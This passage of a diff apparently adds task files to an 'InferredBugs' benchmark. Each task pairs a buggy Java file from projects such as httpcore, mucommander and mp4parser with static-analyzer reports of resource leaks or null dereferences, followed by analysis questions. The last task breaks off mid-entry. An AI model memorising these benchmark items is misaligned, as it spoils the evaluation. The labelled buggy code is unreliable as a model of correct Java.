+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ * ====================================================================
+ *
+ * This software consists of voluntary contributions made by many
+ * individuals on behalf of the Apache Software Foundation.  For more
+ * information on the Apache Software Foundation, please see
+ * <http://www.apache.org/>.
+ *
+ */
+
+package org.apache.http.impl.entity;
+
+import java.io.InputStream;
+
+import org.apache.http.Consts;
+import org.apache.http.HttpEntity;
+import org.apache.http.HttpMessage;
+import org.apache.http.ProtocolException;
+import org.apache.http.impl.SessionInputBufferMock;
+import org.apache.http.impl.io.ChunkedInputStream;
+import org.apache.http.impl.io.ContentLengthInputStream;
+import org.apache.http.impl.io.IdentityInputStream;
+import org.apache.http.io.SessionInputBuffer;
+import org.apache.http.params.CoreProtocolPNames;
+import org.junit.Assert;
+import org.junit.Test;
+
+@Deprecated
+public class TestEntityDeserializer {
+
+    @Test
+    public void testIllegalGenerateArg() throws Exception {
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        try {
+            entitygen.deserialize(null, null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (IllegalArgumentException ex) {
+            // expected
+        }
+        try {
+            entitygen.deserialize(new SessionInputBufferMock(new byte[] {}) , null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (IllegalArgumentException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testEntityWithTransferEncoding() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock("0\r\n", Consts.ASCII);
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Transfer-Encoding", "identity, chunked");
+        message.addHeader("Content-Length", "plain wrong");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertTrue(entity.isChunked());
+        Assert.assertTrue(entity.getContent() instanceof ChunkedInputStream);
+
+        // strict mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, true);
+        entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertTrue(entity.isChunked());
+        Assert.assertTrue(entity.getContent() instanceof ChunkedInputStream);
+    }
+
+    @Test
+    public void testEntityWithIdentityTransferEncoding() throws Exception {
+        SessionInputBuffer inbuffer =
+            new SessionInputBufferMock(new byte[] {});
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Transfer-Encoding", "identity");
+        message.addHeader("Content-Length", "plain wrong");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+    }
+
+    @Test
+    public void testEntityWithUnsupportedTransferEncoding() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock("0\r\n", Consts.ASCII);
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Transfer-Encoding", "whatever; param=value, chunked");
+        message.addHeader("Content-Length", "plain wrong");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertTrue(entity.isChunked());
+        Assert.assertTrue(entity.getContent() instanceof ChunkedInputStream);
+
+        // strict mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, true);
+        try {
+            entitygen.deserialize(inbuffer, message);
+            Assert.fail("ProtocolException should have been thrown");
+        } catch (ProtocolException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testChunkedTransferEncodingMustBeLast() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock("0\r\n", Consts.ASCII);
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Transfer-Encoding", "chunked, identity");
+        message.addHeader("Content-Length", "plain wrong");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+        Assert.assertFalse(entity.getContent() instanceof ChunkedInputStream);
+
+        // strict mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, true);
+        try {
+            entitygen.deserialize(inbuffer, message);
+            Assert.fail("ProtocolException should have been thrown");
+        } catch (ProtocolException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testEntityWithContentLength() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {});
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Content-Length", "0");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(0, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+        Assert.assertTrue(entity.getContent() instanceof ContentLengthInputStream);
+    }
+
+    @Test
+    public void testEntityWithMultipleContentLength() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {'0'});
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Content-Length", "0");
+        message.addHeader("Content-Length", "0");
+        message.addHeader("Content-Length", "1");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(1, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+        InputStream instream = entity.getContent();
+        Assert.assertNotNull(instream);
+        Assert.assertTrue(instream instanceof ContentLengthInputStream);
+
+        // strict mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, true);
+        try {
+            entitygen.deserialize(inbuffer, message);
+            Assert.fail("ProtocolException should have been thrown");
+        } catch (ProtocolException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testEntityWithMultipleContentLengthSomeWrong() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {'0'});
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Content-Length", "1");
+        message.addHeader("Content-Length", "yyy");
+        message.addHeader("Content-Length", "xxx");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(1, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+        InputStream instream = entity.getContent();
+        Assert.assertNotNull(instream);
+        Assert.assertTrue(instream instanceof ContentLengthInputStream);
+
+        // strict mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, true);
+        try {
+            entitygen.deserialize(inbuffer, message);
+            Assert.fail("ProtocolException should have been thrown");
+        } catch (ProtocolException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testEntityWithMultipleContentLengthAllWrong() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {'0'});
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Content-Length", "yyy");
+        message.addHeader("Content-Length", "xxx");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+        InputStream instream = entity.getContent();
+        Assert.assertNotNull(instream);
+        Assert.assertFalse(instream instanceof ContentLengthInputStream);
+        Assert.assertTrue(instream instanceof IdentityInputStream);
+
+        // strict mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, true);
+        try {
+            entitygen.deserialize(inbuffer, message);
+            Assert.fail("ProtocolException should have been thrown");
+        } catch (ProtocolException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testEntityWithInvalidContentLength() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {'0'});
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        message.addHeader("Content-Type", "unknown");
+        message.addHeader("Content-Length", "xxx");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+        InputStream instream = entity.getContent();
+        Assert.assertNotNull(instream);
+        Assert.assertFalse(instream instanceof ContentLengthInputStream);
+        Assert.assertTrue(instream instanceof IdentityInputStream);
+
+        // strict mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, true);
+        try {
+            entitygen.deserialize(inbuffer, message);
+            Assert.fail("ProtocolException should have been thrown");
+        } catch (ProtocolException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testEntityNeitherContentLengthNorTransferEncoding() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {'0'});
+        HttpMessage message = new DummyHttpMessage();
+
+        // lenient mode
+        message.getParams().setBooleanParameter(CoreProtocolPNames.STRICT_TRANSFER_ENCODING, false);
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertEquals(-1, entity.getContentLength());
+        Assert.assertFalse(entity.isChunked());
+        InputStream instream = entity.getContent();
+        Assert.assertNotNull(instream);
+        Assert.assertFalse(instream instanceof ContentLengthInputStream);
+        Assert.assertFalse(instream instanceof ChunkedInputStream);
+        Assert.assertTrue(instream instanceof IdentityInputStream);
+    }
+
+    @Test
+    public void testEntityContentType() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {'0'});
+        HttpMessage message = new DummyHttpMessage();
+
+        message.addHeader("Content-Type", "stuff");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertNotNull(entity.getContentType());
+        Assert.assertEquals("stuff", entity.getContentType().getValue());
+    }
+
+    @Test
+    public void testEntityContentEncoding() throws Exception {
+        SessionInputBuffer inbuffer = new SessionInputBufferMock(new byte[] {'0'});
+        HttpMessage message = new DummyHttpMessage();
+
+        message.addHeader("Content-Encoding", "what not");
+        EntityDeserializer entitygen = new EntityDeserializer(
+                new LaxContentLengthStrategy());
+        HttpEntity entity = entitygen.deserialize(inbuffer, message);
+        Assert.assertNotNull(entity);
+        Assert.assertNotNull(entity.getContentEncoding());
+        Assert.assertEquals("what not", entity.getContentEncoding().getValue());
+    }
+
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.http.impl.io.ChunkedInputStream` acquired by call to `deserialize(...)` at line 210 is not released after line 210.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestEntityDeserializer.testEntityWithMultipleContentLength()
+
+### Procedure Id:
+org.apache.http.impl.entity.TestEntityDeserializer.testEntityWithMultipleContentLength():void.d9831f0ba2c337f6c543580b8610366a
+
+### File:
+httpcore/src/test/java/org/apache/http/impl/entity/TestEntityDeserializer.java
+
+### Key:
+TestEntityDeserializer.java|testEntityWithMultipleContentLength|RESOURCE_LEAK
+
+### Node Key:
+12eca260e56d3ca87a3a76abdfe23017
+
+### Hash:
+8d4772cf835c95e74a41fb0f30678102
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4333/instruction.md b/inferredbugs-4333/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0309254ebf0ec6b07cefddce8cc48f877d5cc44b
--- /dev/null
+++ b/inferredbugs-4333/instruction.md
@@ -0,0 +1,149 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mucommander
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.mucommander.ui.action.impl;
+
+import com.mucommander.commons.file.AbstractFile;
+import com.mucommander.commons.file.FileOperation;
+import com.mucommander.ui.action.*;
+import com.mucommander.ui.dialog.symlink.CreateSymLinkDialog;
+import com.mucommander.ui.main.MainFrame;
+
+import javax.swing.KeyStroke;
+import java.awt.event.KeyEvent;
+import java.util.Map;
+
+
+/**
+ * This action brings up the 'create symlink' dialog.
+ *
+ * @author Oleg Trifonov
+ */
+public class CreateSymlinkAction extends ParentFolderAction {
+
+    public CreateSymlinkAction(MainFrame mainFrame, Map<String,Object> properties) {
+        super(mainFrame, properties);
+    }
+
+    @Override
+    protected void toggleEnabledState() {
+        AbstractFile targetFile = mainFrame.getActiveTable().getSelectedFile();
+        if (targetFile == null) {
+            AbstractFile f = mainFrame.getActiveTable().getFileTableModel().getFileAt(0);
+            if (f != null) {
+                targetFile = f.getParent();
+            }
+        }
+        AbstractFile linkPath = mainFrame.getInactivePanel().getCurrentFolder();
+        setEnabled(targetFile != null && linkPath != null && linkPath.isFileOperationSupported(FileOperation.CREATE_DIRECTORY));
+    }
+
+    @Override
+    public void performAction() {
+        AbstractFile targetFile = mainFrame.getActiveTable().getSelectedFile();
+        if (targetFile == null) {
+            targetFile = mainFrame.getInactiveTable().getFileTableModel().getFileAt(0).getParent();
+        }
+        AbstractFile linkPath = mainFrame.getActivePanel().getCurrentFolder();
+        new CreateSymLinkDialog(mainFrame, linkPath, targetFile).showDialog();
+    }
+
+    @Override
+    public ActionDescriptor getDescriptor() {
+        return new Descriptor();
+    }
+
+    ///////////////////
+    // Inner classes //
+    ///////////////////
+
+    public static class Factory implements ActionFactory {
+
+        public MuAction createAction(MainFrame mainFrame, Map<String,Object> properties) {
+            return new CreateSymlinkAction(mainFrame, properties);
+        }
+    }
+
+    public static class Descriptor extends AbstractActionDescriptor {
+        public static final String ACTION_ID = "CreateSymlink";
+
+        public String getId() { return ACTION_ID; }
+
+        public ActionCategory getCategory() { return ActionCategory.FILES; }
+
+        public KeyStroke getDefaultAltKeyStroke() { return null; }
+
+        public KeyStroke getDefaultKeyStroke() { return KeyStroke.getKeyStroke(KeyEvent.VK_F7, KeyEvent.ALT_DOWN_MASK); }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `MuAction.mainFrame.getInactiveTable().getFileTableModel().getFileAt(0)` could be null and is dereferenced at line 42.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CreateSymlinkAction.performAction()
+
+### Procedure Id:
+com.mucommander.ui.action.impl.CreateSymlinkAction.performAction():void.e748e85eadaeeaf436e802c803966219
+
+### File:
+src/main/com/mucommander/ui/action/impl/CreateSymlinkAction.java
+
+### Key:
+CreateSymlinkAction.java|performAction|NULL_DEREFERENCE
+
+### Node Key:
+3677875e6aead27ee1320f16c80d8b0f
+
+### Hash:
+5937c366fa43547a513236c47abfd6fc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4334/instruction.md b/inferredbugs-4334/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f46e962c0420360a25f986b54ca62f6c95477d35
--- /dev/null
+++ b/inferredbugs-4334/instruction.md
@@ -0,0 +1,176 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mp4parser
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*  
+ * Copyright 2008 CoreMedia AG, Hamburg
+ *
+ * Licensed under the Apache License, Version 2.0 (the License); 
+ * you may not use this file except in compliance with the License. 
+ * You may obtain a copy of the License at 
+ * 
+ *     http://www.apache.org/licenses/LICENSE-2.0 
+ * 
+ * Unless required by applicable law or agreed to in writing, software 
+ * distributed under the License is distributed on an AS IS BASIS, 
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
+ * See the License for the specific language governing permissions and 
+ * limitations under the License. 
+ */
+
+package com.coremedia.drm.packager.isoparser;
+
+import com.coremedia.iso.IsoFile;
+import com.coremedia.iso.boxes.MediaDataBox;
+import junit.framework.TestCase;
+import junitx.framework.ArrayAssert;
+
+import javax.tools.FileObject;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+/**
+ * Tests ISO Roundtrip.
+ */
+public class RoundTripTest extends TestCase {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+/*        Logger.getLogger("").setLevel(Level.ALL);
+    Handler[] handlers = Logger.getLogger("").getHandlers();
+    for (Handler handler : handlers) {
+      handler.setLevel(Level.ALL);
+    }*/
+    }
+
+    public void testRoundTrip_1a() throws Exception {
+        testRoundTrip_1("/multiTrack.3gp");
+    }
+
+    public void testRoundTrip_1b() throws Exception {
+        testRoundTrip_1("/MOV00006.3gp");
+    }
+
+    public void testRoundTrip_1c() throws Exception {
+        testRoundTrip_1("/Beethoven - Bagatelle op.119 no.11 i.m4a");
+    }
+
+    public void testRoundTrip_1d() throws Exception {
+        testRoundTrip_1("/test.m4p");
+    }
+
+    public void testRoundTrip_1(String resource) throws Exception {
+
+        File originalFile = File.createTempFile("pdcf", "original");
+        FileOutputStream fos = new FileOutputStream(originalFile);
+        byte[] content = read(getClass().getResourceAsStream(resource));
+        fos.write(content);
+        fos.close();
+
+        IsoFile isoFile = new IsoFile(InputStreamIsoBufferHelper.get(getClass().getResourceAsStream(resource), 20000));
+        isoFile.parse();
+        Walk.through(isoFile);
+        isoFile.parseMdats();
+//		isoFile.switchToAutomaticChunkOffsetBox();
+//		isoFile.getBoxes(MediaDataBox.class)[0].getSample(0).toString();
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        isoFile.write(baos);
+
+        new FileOutputStream("/home/sannies/a").write(baos.toByteArray());
+
+        ArrayAssert.assertEquals(content, baos.toByteArray());
+
+    }
+
+    private byte[] read(InputStream resourceAsStream) throws IOException {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        copy(resourceAsStream, baos);
+        return baos.toByteArray();
+    }
+
+    public static void copy(InputStream input, OutputStream output) throws IOException {
+        assert input != null && output != null;
+
+        byte[] buffer = new byte[4096];
+        int count = input.read(buffer);
+        while (count > 0) {
+            output.write(buffer, 0, count);
+            count = input.read(buffer);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired by call to `FileOutputStream(...)` at line 80 is not released after line 80.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RoundTripTest.testRoundTrip_1(String)
+
+### Procedure Id:
+com.coremedia.drm.packager.isoparser.RoundTripTest.testRoundTrip_1(java.lang.String):void.09dd4f02ce2bbdf04eb8dada2a115fe3
+
+### File:
+src/test/java/com/coremedia/drm/packager/isoparser/RoundTripTest.java
+
+### Key:
+RoundTripTest.java|testRoundTrip_1|RESOURCE_LEAK
+
+### Node Key:
+54cc168433989e7cd614e0e0dd6b931a
+
+### Hash:
+dc58ef51fdac82149d8a353f89d1f456
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4335/instruction.md b/inferredbugs-4335/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5a206e51b1c5a303c7b1fe4ff3cd7e9fb553c35e
--- /dev/null
+++ b/inferredbugs-4335/instruction.md
@@ -0,0 +1,220 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mp4parser
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.coremedia.iso.boxes.mdat;
+
+import com.coremedia.iso.IsoBufferWrapper;
+import com.coremedia.iso.IsoFileConvenienceHelper;
+import com.coremedia.iso.boxes.ChunkOffsetBox;
+import com.coremedia.iso.boxes.SampleSizeBox;
+import com.coremedia.iso.boxes.SampleTableBox;
+import com.coremedia.iso.boxes.SampleToChunkBox;
+import com.coremedia.iso.boxes.TrackBox;
+import com.coremedia.iso.boxes.fragment.MovieExtendsBox;
+import com.coremedia.iso.boxes.fragment.MovieFragmentBox;
+import com.coremedia.iso.boxes.fragment.TrackExtendsBox;
+import com.coremedia.iso.boxes.fragment.TrackFragmentBox;
+import com.coremedia.iso.boxes.fragment.TrackRunBox;
+
+import java.io.IOException;
+import java.util.AbstractList;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+/**
+ *
+ */
+public class SampleList extends AbstractList<IsoBufferWrapper> {
+
+    SortedMap<Long, Long> offsets2Sizes;
+    List<Long> offsetKeys = null;
+
+    IsoBufferWrapper isoBufferWrapper;
+
+    private List<Long> getOffsetKeys() {
+        if (offsetKeys == null) {
+            List<Long> offsetKeys = new ArrayList<Long>(offsets2Sizes.size());
+            for (Long aLong : offsets2Sizes.keySet()) {
+                offsetKeys.add(aLong);
+            }
+            this.offsetKeys = offsetKeys;
+        }
+        return offsetKeys;
+    }
+
+    public SampleList(MovieFragmentBox moof) {
+        assert 1 == moof.getTrackCount();
+        offsets2Sizes = getOffsets(moof, moof.getTrackNumbers()[0]);
+    }
+
+    SortedMap<Long, Long> getOffsets(MovieFragmentBox moof, long trackId) {
+        isoBufferWrapper = moof.getIsoFile().getOriginalIso();
+        SortedMap<Long, Long> offsets2Sizes = new TreeMap<Long, Long>();
+        List<TrackFragmentBox> traf = moof.getBoxes(TrackFragmentBox.class);
+        assert traf.size() == 1 : "I cannot deal with movie fragments containing more than one track fragment";
+        for (TrackFragmentBox trackFragmentBox : traf) {
+            if (trackFragmentBox.getTrackFragmentHeaderBox().getTrackId() == trackId) {
+                long baseDataOffset;
+                if (trackFragmentBox.getTrackFragmentHeaderBox().hasBaseDataOffset()) {
+                    baseDataOffset = trackFragmentBox.getTrackFragmentHeaderBox().getBaseDataOffset();
+                } else {
+                    baseDataOffset = moof.getOffset();
+                }
+                TrackRunBox trun = trackFragmentBox.getTrackRunBox();
+                long sampleBaseOffset = baseDataOffset + trun.getDataOffset();
+                long[] sampleOffsets = trun.getSampleOffsets();
+                long[] sampleSizes = trun.getSampleSizes();
+                for (int i = 0; i < sampleSizes.length; i++) {
+                    offsets2Sizes.put(sampleOffsets[i] + sampleBaseOffset, sampleSizes[i]);
+                }
+            }
+        }
+        return offsets2Sizes;
+    }
+
+    public SampleList(TrackBox trackBox) {
+        isoBufferWrapper = trackBox.getIsoFile().getOriginalIso();
+        List<MovieExtendsBox> movieExtendsBoxes = trackBox.getParent().getBoxes(MovieExtendsBox.class);
+        offsets2Sizes = new TreeMap<Long, Long>();
+        if (movieExtendsBoxes.size() > 0) {
+            List<TrackExtendsBox> trackExtendsBoxes = movieExtendsBoxes.get(0).getBoxes(TrackExtendsBox.class);
+            for (TrackExtendsBox trackExtendsBox : trackExtendsBoxes) {
+                if (trackExtendsBox.getTrackId() == trackBox.getTrackHeaderBox().getTrackId()) {
+                    for (MovieFragmentBox movieFragmentBox : trackBox.getIsoFile().getBoxes(MovieFragmentBox.class)) {
+                        offsets2Sizes.putAll(getOffsets(movieFragmentBox, trackBox.getTrackHeaderBox().getTrackId()));
+                    }
+                    return;
+                }
+            }
+        }
+        // No else since some tracks may be fragmented but not our track!
+
+        SampleSizeBox sampleSizeBox = getSampleTableBox(trackBox).getSampleSizeBox();
+        ChunkOffsetBox chunkOffsetBox = getSampleTableBox(trackBox).getChunkOffsetBox();
+        SampleToChunkBox sampleToChunkBox = getSampleTableBox(trackBox).getSampleToChunkBox();
+        long[] numberOfSamplesInChunk = sampleToChunkBox.blowup(chunkOffsetBox.getChunkOffsets().length);
+        int sampleIndex = 0;
+        if (sampleSizeBox.getSampleSize() > 0) {
+            // Every sample has the same size!
+            offsets2Sizes = new DummySortedMap<Long, Long>(sampleSizeBox.getSampleSize());
+        }
+        for (int i = 0; i < numberOfSamplesInChunk.length; i++) {
+            long thisChunksNumberOfSamples = numberOfSamplesInChunk[i];
+            long sampleOffset = chunkOffsetBox.getChunkOffsets()[i];
+            for (int j = 0; j < thisChunksNumberOfSamples; j++) {
+                long sampleSize = sampleSizeBox.getSampleSizeAtIndex(sampleIndex);
+                offsets2Sizes.put(sampleOffset, sampleSize);
+                sampleOffset += sampleSize;
+                sampleIndex++;
+            }
+        }
+
+
+    }
+
+    @Override
+    public IsoBufferWrapper get(int index) {
+        // it is a two stage lookup: from index to offset to size
+        Long offset = getOffsetKeys().get(index);
+        try {
+            return isoBufferWrapper.getSegment(offset, offsets2Sizes.get(offset));
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+
+    }
+
+    public long getOffset(int index) {
+        Iterator<Long> entries = offsets2Sizes.keySet().iterator();
+        Long entry = entries.next();
+        while (index > 0) {
+            index--;
+            entry = entries.next();
+        }
+        return offsets2Sizes.get(entry);
+    }
+
+    @Override
+    public int size() {
+        return offsets2Sizes.size();
+    }
+
+    private static SampleTableBox getSampleTableBox(TrackBox trackBox) {
+        return (SampleTableBox) IsoFileConvenienceHelper.get(trackBox, "mdia/minf/stbl");
+    }
+
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `trun` last assigned on line 63 could be null and is dereferenced at line 64.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SortedMap SampleList.getOffsets(MovieFragmentBox,long)
+
+### Procedure Id:
